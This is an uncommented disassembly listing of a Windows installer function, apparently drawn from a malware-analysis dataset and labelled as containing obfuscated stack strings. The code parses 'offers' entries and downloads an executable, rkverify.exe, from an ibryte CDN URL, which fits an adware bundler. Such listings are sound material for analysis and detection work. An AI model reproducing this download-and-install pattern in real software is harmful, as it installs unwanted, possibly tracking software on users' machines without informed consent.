Function at 0x401ed0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47a6b2
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x588
mov eax, dword [0x4991b0]
xor eax, ebp
mov dword [ebp - 0x1a0], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x3f0], ecx
mov dword [ebp - 0x3ec], 0
mov dword [ebp - 4], 0
push 0x47fa58
lea eax, [ebp - 0x58]
push eax
call fcn.00406a80
add esp, 8
mov dword [ebp - 0x3f4], eax
mov byte [ebp - 4], 1
push 0x47fa64
lea ecx, [ebp - 0x58]
call fcn.00407e80
lea ecx, [ebp - 0x50]
call fcn.004119c0
mov dword [ebp - 0x3f8], eax
mov byte [ebp - 4], 2
push 0x96
lea ecx, [ebp - 0x4c]
push ecx
call fcn.00412ea0
add esp, 8
mov dword [ebp - 0x3fc], eax
mov byte [ebp - 4], 3
push 0x47fa7c
lea ecx, [ebp - 0xf4]
call fcn.0040e940
mov dword [ebp - 0x400], eax
mov byte [ebp - 4], 4
lea edx, [ebp - 0x4c]
push edx
lea ecx, [ebp - 0xf4]
call fcn.00407eb0
push 0x47faa0
lea ecx, [ebp - 0xf4]
call fcn.00407e80
push ecx
mov ecx, esp
mov dword [ebp - 0x17c], esp
push 0x47fab0
call fcn.0040e940
mov dword [ebp - 0x404], eax
mov eax, dword [ebp - 0x404]
mov dword [ebp - 0x408], eax
mov byte [ebp - 4], 5
push ecx
mov ecx, esp
mov dword [ebp - 0x180], esp
lea edx, [ebp - 0xf4]
push edx
call fcn.0040e920
mov dword [ebp - 0x40c], eax
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x50]
call fcn.00411a00
push 1
lea ecx, [ebp - 0xf0]
call fcn.00408670
mov dword [ebp - 0x410], eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x58]
call fcn.00407f20
mov dword [ebp - 0x414], eax
push 0x40
push 1
mov eax, dword [ebp - 0x414]
push eax
lea ecx, [ebp - 0xf0]
call fcn.004087b0
push 2
push 0
lea ecx, [ebp - 0xf0]
call fcn.00408050
lea ecx, [ebp - 0x198]
push ecx
lea ecx, [ebp - 0xf0]
call fcn.00408150
mov dword [ebp - 0x418], eax
mov ecx, dword [ebp - 0x418]
call fcn.00409810
mov dword [ebp - 0x41c], eax
mov edx, dword [ebp - 0x41c]
mov dword [ebp - 0x20], edx
push 0
push 0
lea ecx, [ebp - 0xf0]
call fcn.00408050
mov eax, dword [ebp - 0x20]
push eax
call fcn.0043a97f
add esp, 4
mov dword [ebp - 0x420], eax
mov ecx, dword [ebp - 0x420]
mov dword [ebp - 0x19c], ecx
mov edx, dword [ebp - 0x19c]
mov dword [ebp - 0xfc], edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [ebp - 0xfc]
push ecx
lea ecx, [ebp - 0xf0]
call fcn.00408030
lea ecx, [ebp - 0xf0]
call fcn.00408800
mov edx, dword [ebp - 0xfc]
push edx
lea ecx, [ebp - 0x54]
call fcn.0040e940
mov dword [ebp - 0x424], eax
mov byte [ebp - 4], 7
call fcn.00406a20
mov dword [ebp - 0x5c], eax
lea ecx, [ebp - 0x54]
call fcn.00407f20
mov dword [ebp - 0x428], eax
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jne 0x402120
mov dword [ebp - 0x42c], 0
jmp 0x402188
mov ecx, dword [ebp - 0xf8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x3fffffff
jle 0x402148
mov dword [ebp - 0x430], 0
jmp 0x40217c
mov eax, dword [ebp - 0x1c]
shl eax, 1
call fcn.0045cc60
mov dword [ebp - 0x434], esp
mov dword [ebp - 0x10], esp
mov edx, dword [ebp - 0x5c]
push edx
mov eax, dword [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0xf8]
push ecx
mov edx, dword [ebp - 0x434]
push edx
call fcn.00406a30
mov dword [ebp - 0x430], eax
mov eax, dword [ebp - 0x430]
mov dword [ebp - 0x42c], eax
mov ecx, dword [ebp - 0x42c]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
push edx
call fcn.00418b00
add esp, 4
mov dword [ebp - 0x438], eax
mov eax, dword [ebp - 0x438]
mov dword [ebp - 0x18], eax
lea ecx, [ebp - 0x48]
call fcn.004082e0
mov dword [ebp - 0x43c], eax
mov byte [ebp - 4], 8
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x18], 0
je 0x403028
lea ecx, [ebp - 0x1c0]
push ecx
mov ecx, dword [ebp - 0x18]
call fcn.0041af80
mov dword [ebp - 0x440], eax
mov edx, dword [ebp - 0x440]
mov dword [ebp - 0x444], edx
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x444]
push eax
lea ecx, [ebp - 0x48]
call fcn.00406f50
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x1c0]
call fcn.00406f30
push 0x47fac8
lea ecx, [ebp - 0x1e0]
call fcn.004081b0
mov dword [ebp - 0x448], eax
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x3ec]
or ecx, 1
mov dword [ebp - 0x3ec], ecx
lea edx, [ebp - 0x1f0]
push edx
lea ecx, [ebp - 0x48]
call fcn.004085a0
mov dword [ebp - 0x44c], eax
lea eax, [ebp - 0x1e0]
push eax
lea ecx, [ebp - 0x1e8]
push ecx
lea ecx, [ebp - 0x48]
call fcn.004085d0
mov dword [ebp - 0x450], eax
mov edx, dword [ebp - 0x44c]
push edx
mov ecx, dword [ebp - 0x450]
call fcn.00409830
mov byte [ebp - 0x451], al
movzx eax, byte [ebp - 0x451]
test eax, eax
je 0x4022fa
push 0x47fad8
lea ecx, [ebp - 0x20c]
call fcn.004081b0
mov dword [ebp - 0x458], eax
mov dword [ebp - 4], 0xb
mov ecx, dword [ebp - 0x3ec]
or ecx, 2
mov dword [ebp - 0x3ec], ecx
lea edx, [ebp - 0x20c]
push edx
lea ecx, [ebp - 0x48]
call fcn.00408310
mov dword [ebp - 0x45c], eax
mov eax, dword [ebp - 0x45c]
mov ecx, dword [eax]
call fcn.0041ae80
mov byte [ebp - 0x45d], al
movzx ecx, byte [ebp - 0x45d]
test ecx, ecx
je 0x4022fa
mov dword [ebp - 0x464], 1
jmp 0x402304
mov dword [ebp - 0x464], 0
mov dl, byte [ebp - 0x464]
mov byte [ebp - 0x1c1], dl
mov dword [ebp - 4], 0xa
mov eax, dword [ebp - 0x3ec]
and eax, 2
je 0x402334
and dword [ebp - 0x3ec], 0xfffffffd
lea ecx, [ebp - 0x20c]
call fcn.004081f0
mov dword [ebp - 4], 8
mov ecx, dword [ebp - 0x3ec]
and ecx, 1
je 0x402358
and dword [ebp - 0x3ec], 0xfffffffe
lea ecx, [ebp - 0x1e0]
call fcn.004081f0
movzx edx, byte [ebp - 0x1c1]
test edx, edx
je 0x403020
push str.offers
lea ecx, [ebp - 0x228]
call fcn.004081b0
mov dword [ebp - 0x468], eax
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x228]
push eax
lea ecx, [ebp - 0x48]
call fcn.00408310
mov dword [ebp - 0x46c], eax
lea ecx, [ebp - 0x114]
push ecx
mov edx, dword [ebp - 0x46c]
mov ecx, dword [edx]
call fcn.0041af40
mov dword [ebp - 0x470], eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x228]
call fcn.004081f0
mov dword [ebp - 0x118], 0
jmp 0x4023da
mov eax, dword [ebp - 0x118]
add eax, 1
mov dword [ebp - 0x118], eax
lea ecx, [ebp - 0x114]
call fcn.00408290
mov dword [ebp - 0x474], eax
mov ecx, dword [ebp - 0x118]
cmp ecx, dword [ebp - 0x474]
jae 0x403011
mov edx, dword [ebp - 0x118]
push edx
lea ecx, [ebp - 0x114]
call fcn.004082b0
mov dword [ebp - 0x478], eax
lea eax, [ebp - 0x138]
push eax
mov ecx, dword [ebp - 0x478]
mov ecx, dword [ecx]
call fcn.0041af80
mov dword [ebp - 0x47c], eax
mov byte [ebp - 4], 0xf
cmp dword [ebp - 0x14], 4
jl 0x402452
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x138]
call fcn.00406f30
jmp 0x403011
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x22c], esp
lea edx, [ebp - 0x138]
push edx
call fcn.00406f70
mov dword [ebp - 0x480], eax
mov ecx, dword [ebp - 0x3f0]
call fcn.00404b40
mov byte [ebp - 0x481], al
movzx eax, byte [ebp - 0x481]
test eax, eax
je 0x402942
push 0x47faf8
lea ecx, [ebp - 0x24c]
call fcn.004081b0
mov dword [ebp - 0x488], eax
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0x3ec]
or ecx, 4
mov dword [ebp - 0x3ec], ecx
lea edx, [ebp - 0x25c]
push edx
lea ecx, [ebp - 0x138]
call fcn.004085a0
mov dword [ebp - 0x48c], eax
lea eax, [ebp - 0x24c]
push eax
lea ecx, [ebp - 0x254]
push ecx
lea ecx, [ebp - 0x138]
call fcn.004085d0
mov dword [ebp - 0x490], eax
mov edx, dword [ebp - 0x48c]
push edx
mov ecx, dword [ebp - 0x490]
call fcn.00409830
mov byte [ebp - 0x491], al
movzx eax, byte [ebp - 0x491]
test eax, eax
je 0x402580
push 0x47fb04
lea ecx, [ebp - 0x278]
call fcn.004081b0
mov dword [ebp - 0x498], eax
mov dword [ebp - 4], 0x11
mov ecx, dword [ebp - 0x3ec]
or ecx, 8
mov dword [ebp - 0x3ec], ecx
lea edx, [ebp - 0x278]
push edx
lea ecx, [ebp - 0x138]
call fcn.00408310
mov dword [ebp - 0x49c], eax
mov eax, dword [ebp - 0x49c]
mov ecx, dword [eax]
call fcn.0041ae20
mov byte [ebp - 0x49d], al
movzx ecx, byte [ebp - 0x49d]
test ecx, ecx
je 0x402580
mov dword [ebp - 0x4a4], 1
jmp 0x40258a
mov dword [ebp - 0x4a4], 0
mov dl, byte [ebp - 0x4a4]
mov byte [ebp - 0x22d], dl
mov dword [ebp - 4], 0x10
mov eax, dword [ebp - 0x3ec]
and eax, 8
je 0x4025ba
and dword [ebp - 0x3ec], 0xfffffff7
lea ecx, [ebp - 0x278]
call fcn.004081f0
mov dword [ebp - 4], 0xf
mov ecx, dword [ebp - 0x3ec]
and ecx, 4
je 0x4025de
and dword [ebp - 0x3ec], 0xfffffffb
lea ecx, [ebp - 0x24c]
call fcn.004081f0
movzx edx, byte [ebp - 0x22d]
test edx, edx
je 0x4026c3
lea ecx, [ebp - 0x13c]
call fcn.0040e8d0
mov byte [ebp - 4], 0x12
push 0x47fb10
lea ecx, [ebp - 0x294]
call fcn.004081b0
mov dword [ebp - 0x4a8], eax
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x294]
push eax
lea ecx, [ebp - 0x138]
call fcn.00408310
mov dword [ebp - 0x4ac], eax
lea ecx, [ebp - 0x2b0]
push ecx
mov edx, dword [ebp - 0x4ac]
mov ecx, dword [edx]
call fcn.0041aec0
mov dword [ebp - 0x4b0], eax
mov eax, dword [ebp - 0x4b0]
mov dword [ebp - 0x4b4], eax
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x4b4]
call fcn.00408210
mov dword [ebp - 0x4b8], eax
mov ecx, dword [ebp - 0x4b8]
push ecx
lea ecx, [ebp - 0x13c]
call fcn.0040ec00
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x2b0]
call fcn.004081f0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x294]
call fcn.004081f0
lea edx, [ebp - 0x13c]
push edx
mov ecx, dword [ebp - 0x14]
imul ecx, ecx, 0x308
add ecx, 0x49a818
call fcn.0040ebc0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x13c]
call fcn.0040ea70
mov eax, dword [ebp - 0x14]
push eax
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x2b4], esp
lea edx, [ebp - 0x138]
push edx
call fcn.00406f70
mov dword [ebp - 0x4bc], eax
mov ecx, dword [ebp - 0x3f0]
call fcn.004041a0
mov eax, dword [ebp - 0x14]
push eax
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x2b8], esp
lea edx, [ebp - 0x138]
push edx
call fcn.00406f70
mov dword [ebp - 0x4c0], eax
mov eax, dword [ebp - 0x4c0]
mov dword [ebp - 0x4c4], eax
mov byte [ebp - 4], 0x15
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x2bc], esp
lea edx, [ebp - 0x48]
push edx
call fcn.00406f70
mov dword [ebp - 0x4c8], eax
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x3f0]
call fcn.004034a0
mov eax, dword [ebp - 0x14]
push eax
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x2c0], esp
lea edx, [ebp - 0x138]
push edx
call fcn.00406f70
mov dword [ebp - 0x4cc], eax
mov ecx, dword [ebp - 0x3f0]
call fcn.00404f50
mov eax, dword [ebp - 0x14]
push eax
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x2c4], esp
lea edx, [ebp - 0x138]
push edx
call fcn.00406f70
mov dword [ebp - 0x4d0], eax
mov ecx, dword [ebp - 0x3f0]
call fcn.00404560
mov eax, dword [ebp - 0x14]
push eax
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x2c8], esp
lea edx, [ebp - 0x138]
push edx
call fcn.00406f70
mov dword [ebp - 0x4d4], eax
mov ecx, dword [ebp - 0x3f0]
call fcn.00403b20
push 0x47fb1c
mov eax, dword [ebp - 0x14]
imul eax, eax, 0x308
add eax, 0x49a818
push eax
call fcn.00407e60
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x402934
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x148]
call fcn.004119c0
mov dword [ebp - 0x4d8], eax
mov byte [ebp - 4], 0x17
push ecx
mov ecx, esp
mov dword [ebp - 0x2cc], esp
push 0x47fb30
call fcn.0040e940
mov dword [ebp - 0x4dc], eax
mov edx, dword [ebp - 0x4dc]
mov dword [ebp - 0x4e0], edx
mov byte [ebp - 4], 0x18
push ecx
mov ecx, esp
mov dword [ebp - 0x2d0], esp
push 0x47fb40
call fcn.0040e940
mov dword [ebp - 0x4e4], eax
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x148]
call fcn.00411a00
push 0x47fb90
lea eax, [ebp - 0x2d4]
push eax
call fcn.00406a80
add esp, 8
mov dword [ebp - 0x4e8], eax
mov ecx, dword [ebp - 0x4e8]
mov dword [ebp - 0x4ec], ecx
mov byte [ebp - 4], 0x19
push 0x47fb80
mov edx, dword [ebp - 0x4ec]
push edx
lea eax, [ebp - 0x144]
push eax
call fcn.00407db0
add esp, 0xc
mov dword [ebp - 0x4f0], eax
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x2d4]
call fcn.0040ea70
lea ecx, [ebp - 0x13d]
call fcn.00422390
mov dword [ebp - 0x4f4], eax
mov byte [ebp - 4], 0x1c
mov ecx, dword [ebp - 0x3f0]
add ecx, 0x334
push ecx
lea ecx, [ebp - 0x144]
call fcn.0040edb0
push eax
lea ecx, [ebp - 0x13d]
call fcn.00422530
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0x13d]
call fcn.004223a0
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x144]
call fcn.0040ea70
mov byte [ebp - 4], 0x16
lea ecx, [ebp - 0x148]
call fcn.004119e0
jmp 0x40292d
mov dword [ebp - 4], 0xf
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
jmp 0x402ffd
push 0x47fb9c
lea ecx, [ebp - 0x2f4]
call fcn.004081b0
mov dword [ebp - 0x4f8], eax
mov byte [ebp - 4], 0x1e
mov eax, dword [ebp - 0x3ec]
or eax, 0x10
mov dword [ebp - 0x3ec], eax
lea ecx, [ebp - 0x304]
push ecx
lea ecx, [ebp - 0x138]
call fcn.004085a0
mov dword [ebp - 0x4fc], eax
lea edx, [ebp - 0x2f4]
push edx
lea eax, [ebp - 0x2fc]
push eax
lea ecx, [ebp - 0x138]
call fcn.004085d0
mov dword [ebp - 0x500], eax
mov ecx, dword [ebp - 0x4fc]
push ecx
mov ecx, dword [ebp - 0x500]
call fcn.00409830
mov byte [ebp - 0x501], al
movzx edx, byte [ebp - 0x501]
test edx, edx
je 0x402a33
push 0x47fbb0
lea ecx, [ebp - 0x320]
call fcn.004081b0
mov dword [ebp - 0x508], eax
mov dword [ebp - 4], 0x1f
mov eax, dword [ebp - 0x3ec]
or eax, 0x20
mov dword [ebp - 0x3ec], eax
lea ecx, [ebp - 0x320]
push ecx
lea ecx, [ebp - 0x138]
call fcn.00408310
mov dword [ebp - 0x50c], eax
mov edx, dword [ebp - 0x50c]
mov ecx, dword [edx]
call fcn.0041aea0
mov byte [ebp - 0x50d], al
movzx eax, byte [ebp - 0x50d]
test eax, eax
je 0x402a33
mov dword [ebp - 0x514], 1
jmp 0x402a3d
mov dword [ebp - 0x514], 0
mov cl, byte [ebp - 0x514]
mov byte [ebp - 0x2d5], cl
mov dword [ebp - 4], 0x1e
mov edx, dword [ebp - 0x3ec]
and edx, 0x20
je 0x402a6d
and dword [ebp - 0x3ec], 0xffffffdf
lea ecx, [ebp - 0x320]
call fcn.004081f0
mov dword [ebp - 4], 0xf
mov eax, dword [ebp - 0x3ec]
and eax, 0x10
je 0x402a91
and dword [ebp - 0x3ec], 0xffffffef
lea ecx, [ebp - 0x2f4]
call fcn.004081f0
movzx ecx, byte [ebp - 0x2d5]
test ecx, ecx
je 0x402ffd
push str.alternate
lea ecx, [ebp - 0x33c]
call fcn.004081b0
mov dword [ebp - 0x518], eax
mov byte [ebp - 4], 0x20
lea edx, [ebp - 0x33c]
push edx
lea ecx, [ebp - 0x138]
call fcn.00408310
mov dword [ebp - 0x51c], eax
lea eax, [ebp - 0x168]
push eax
mov ecx, dword [ebp - 0x51c]
mov ecx, dword [ecx]
call fcn.0041af80
mov dword [ebp - 0x520], eax
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x33c]
call fcn.004081f0
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x340], esp
lea edx, [ebp - 0x168]
push edx
call fcn.00406f70
mov dword [ebp - 0x524], eax
mov ecx, dword [ebp - 0x3f0]
call fcn.00404b40
mov byte [ebp - 0x525], al
movzx eax, byte [ebp - 0x525]
test eax, eax
je 0x402fee
push 0x47fbd8
lea ecx, [ebp - 0x360]
call fcn.004081b0
mov dword [ebp - 0x52c], eax
mov byte [ebp - 4], 0x23
mov ecx, dword [ebp - 0x3ec]
or ecx, 0x40
mov dword [ebp - 0x3ec], ecx
lea edx, [ebp - 0x370]
push edx
lea ecx, [ebp - 0x168]
call fcn.004085a0
mov dword [ebp - 0x530], eax
lea eax, [ebp - 0x360]
push eax
lea ecx, [ebp - 0x368]
push ecx
lea ecx, [ebp - 0x168]
call fcn.004085d0
mov dword [ebp - 0x534], eax
mov edx, dword [ebp - 0x530]
push edx
mov ecx, dword [ebp - 0x534]
call fcn.00409830
mov byte [ebp - 0x535], al
movzx eax, byte [ebp - 0x535]
test eax, eax
je 0x402c2c
push 0x47fbe4
lea ecx, [ebp - 0x38c]
call fcn.004081b0
mov dword [ebp - 0x53c], eax
mov dword [ebp - 4], 0x24
mov ecx, dword [ebp - 0x3ec]
or ecx, 0x80
mov dword [ebp - 0x3ec], ecx
lea edx, [ebp - 0x38c]
push edx
lea ecx, [ebp - 0x168]
call fcn.00408310
mov dword [ebp - 0x540], eax
mov eax, dword [ebp - 0x540]
mov ecx, dword [eax]
call fcn.0041ae20
mov byte [ebp - 0x541], al
movzx ecx, byte [ebp - 0x541]
test ecx, ecx
je 0x402c2c
mov dword [ebp - 0x548], 1
jmp 0x402c36
mov dword [ebp - 0x548], 0
mov dl, byte [ebp - 0x548]
mov byte [ebp - 0x341], dl
mov dword [ebp - 4], 0x23
mov eax, dword [ebp - 0x3ec]
and eax, 0x80
je 0x402c6b
and dword [ebp - 0x3ec], 0xffffff7f
lea ecx, [ebp - 0x38c]
call fcn.004081f0
mov dword [ebp - 4], 0x22
mov ecx, dword [ebp - 0x3ec]
and ecx, 0x40
je 0x402c8f
and dword [ebp - 0x3ec], 0xffffffbf
lea ecx, [ebp - 0x360]
call fcn.004081f0
movzx edx, byte [ebp - 0x341]
test edx, edx
je 0x402d74
lea ecx, [ebp - 0x16c]
call fcn.0040e8d0
mov byte [ebp - 4], 0x25
push str.name
lea ecx, [ebp - 0x3a8]
call fcn.004081b0
mov dword [ebp - 0x54c], eax
mov byte [ebp - 4], 0x26
lea eax, [ebp - 0x3a8]
push eax
lea ecx, [ebp - 0x168]
call fcn.00408310
mov dword [ebp - 0x550], eax
lea ecx, [ebp - 0x3c4]
push ecx
mov edx, dword [ebp - 0x550]
mov ecx, dword [edx]
call fcn.0041aec0
mov dword [ebp - 0x554], eax
mov eax, dword [ebp - 0x554]
mov dword [ebp - 0x558], eax
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x558]
call fcn.00408210
mov dword [ebp - 0x55c], eax
mov ecx, dword [ebp - 0x55c]
push ecx
lea ecx, [ebp - 0x16c]
call fcn.0040ec00
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x3c4]
call fcn.004081f0
mov byte [ebp - 4], 0x25
lea ecx, [ebp - 0x3a8]
call fcn.004081f0
lea edx, [ebp - 0x16c]
push edx
mov ecx, dword [ebp - 0x14]
imul ecx, ecx, 0x308
add ecx, 0x49a818
call fcn.0040ebc0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x16c]
call fcn.0040ea70
mov eax, dword [ebp - 0x14]
push eax
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x3c8], esp
lea edx, [ebp - 0x168]
push edx
call fcn.00406f70
mov dword [ebp - 0x560], eax
mov ecx, dword [ebp - 0x3f0]
call fcn.004041a0
mov eax, dword [ebp - 0x14]
push eax
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x3cc], esp
lea edx, [ebp - 0x168]
push edx
call fcn.00406f70
mov dword [ebp - 0x564], eax
mov eax, dword [ebp - 0x564]
mov dword [ebp - 0x568], eax
mov byte [ebp - 4], 0x28
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x3d0], esp
lea edx, [ebp - 0x48]
push edx
call fcn.00406f70
mov dword [ebp - 0x56c], eax
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0x3f0]
call fcn.004034a0
mov eax, dword [ebp - 0x14]
push eax
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x3d4], esp
lea edx, [ebp - 0x168]
push edx
call fcn.00406f70
mov dword [ebp - 0x570], eax
mov ecx, dword [ebp - 0x3f0]
call fcn.00404f50
mov eax, dword [ebp - 0x14]
push eax
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x3d8], esp
lea edx, [ebp - 0x168]
push edx
call fcn.00406f70
mov dword [ebp - 0x574], eax
mov ecx, dword [ebp - 0x3f0]
call fcn.00404560
mov eax, dword [ebp - 0x14]
push eax
sub esp, 0x20
mov ecx, esp
mov dword [ebp - 0x3dc], esp
lea edx, [ebp - 0x168]
push edx
call fcn.00406f70
mov dword [ebp - 0x578], eax
mov ecx, dword [ebp - 0x3f0]
call fcn.00403b20
push 0x47fbfc
mov eax, dword [ebp - 0x14]
imul eax, eax, 0x308
add eax, 0x49a818
push eax
call fcn.00407e60
add esp, 8
movzx ecx, al
test ecx, ecx
je 0x402fe5
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x178]
call fcn.004119c0
mov dword [ebp - 0x57c], eax
mov byte [ebp - 4], 0x2a
push ecx
mov ecx, esp
mov dword [ebp - 0x3e0], esp
push 0x47fc10
call fcn.0040e940
mov dword [ebp - 0x580], eax
mov edx, dword [ebp - 0x580]
mov dword [ebp - 0x584], edx
mov byte [ebp - 4], 0x2b
push ecx
mov ecx, esp
mov dword [ebp - 0x3e4], esp
push str.http:__cdn.ibryte.com_bundles_RelevantKnowledge_rkverify.exe
call fcn.0040e940
mov dword [ebp - 0x588], eax
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x178]
call fcn.00411a00
push 0x47fc70
lea eax, [ebp - 0x3e8]
push eax
call fcn.00406a80
add esp, 8
mov dword [ebp - 0x58c], eax
mov ecx, dword [ebp - 0x58c]
mov dword [ebp - 0x590], ecx
mov byte [ebp - 4], 0x2c
push str.rkverify.exe
mov edx, dword [ebp - 0x590]
push edx
lea eax, [ebp - 0x174]
push eax
call fcn.00407db0
add esp, 0xc
mov dword [ebp - 0x594], eax
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x3e8]
call fcn.0040ea70
lea ecx, [ebp - 0x16d]
call fcn.00422390
mov dword [ebp - 0x598], eax
mov byte [ebp - 4], 0x2f
mov ecx, dword [ebp - 0x3f0]
add ecx, 0x334
push ecx
lea ecx, [ebp - 0x174]
call fcn.0040edb0
push eax
lea ecx, [ebp - 0x16d]
call fcn.00422530
mov byte [ebp - 4], 0x2e
lea ecx, [ebp - 0x16d]
call fcn.004223a0
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x174]
call fcn.0040ea70
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x178]
call fcn.004119e0
jmp 0x402fde
mov dword [ebp - 4], 0x22
mov edx, dword [ebp - 0x14]
add edx, 1
mov dword [ebp - 0x14], edx
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x168]
call fcn.00406f30
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x138]
call fcn.00406f30
jmp 0x4023cb
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x114]
call fcn.00408230
mov eax, dword [ebp - 0x14]
mov dword [0x49a728], eax
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x48]
call fcn.00406f30
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x54]
call fcn.0040ea70
mov byte [ebp - 4], 4
lea ecx, [ebp - 0xf0]
call fcn.00406f00
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xf4]
call fcn.0040ea70
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x4c]
call fcn.0040ea70
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x50]
call fcn.004119e0
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x58]
call fcn.0040ea70
jmp 0x403091
mov dword [ebp - 4], 0xffffffff
lea esp, [ebp - 0x5a8]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1a0]
xor ecx, ebp
call fcn.0045c94d
mov esp, ebp
pop ebp
ret